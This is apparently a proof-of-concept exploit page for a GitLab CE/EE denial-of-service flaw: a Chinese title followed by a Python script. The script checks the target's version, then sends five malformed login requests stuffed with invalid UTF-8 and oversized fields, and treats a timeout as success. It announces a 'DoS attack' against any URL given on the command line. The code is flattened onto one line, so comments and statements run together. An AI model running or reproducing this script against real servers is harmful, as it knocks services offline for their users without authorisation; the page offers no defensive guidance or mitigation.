CVE-2025-13927: GitLab CE/EE 拒绝服务漏洞

# CVE-2025-13927 PoC - GitLab DoS via Malformed Authentication # This PoC demonstrates sending malformed authentication requests import requests import sys from urllib.parse import urlencode def send_malformed_request(target_url, path="/users/sign_in"): """ Send crafted request with malformed authentication data to trigger DoS condition in vulnerable GitLab versions. """ url = f"{target_url}{path}" # Malformed authentication data - invalid UTF-8 sequences # This can cause parsing errors in authentication handling headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-13927-PoC)', 'X-CSRF-Token': 'invalid\xfe\xff\xfe\xfe\xfe\xfe\xfe\xfe\xfe', 'Cookie': 'invalid_session=malformed\x80\x81\x82\x83\x84\x85' } # Crafted POST data with malformed authentication data = { 'authenticity_token': 'A' * 1000 + '\xfe\xff\xfe\xff', 'username': 'admin\x80\x81', 'password': '\xfe\xff' * 500 } try: print(f"[*] Sending malformed request to {url}") response = requests.post(url, headers=headers, data=data, timeout=30) print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.Timeout: print("[+] DoS condition triggered - request timed out") return None except Exception as e: print(f"[-] Error: {e}") return None def check_gitlab_version(target_url): """Check GitLab version via API""" try: response = requests.get(f"{target_url}/api/v4/version", timeout=10) if response.status_code == 200: return response.json() except: pass return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://gitlab.example.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2025-13927 PoC - GitLab DoS via Malformed Auth") print("=" * 60) version_info = check_gitlab_version(target) if version_info: print(f"[*] GitLab version: {version_info}") print("[*] Starting DoS attack...") for i in range(5): print(f"[*] Attempt {i+1}/5") send_malformed_request(target) print("[*] Attack completed") print("[*] Check if GitLab service is still responsive")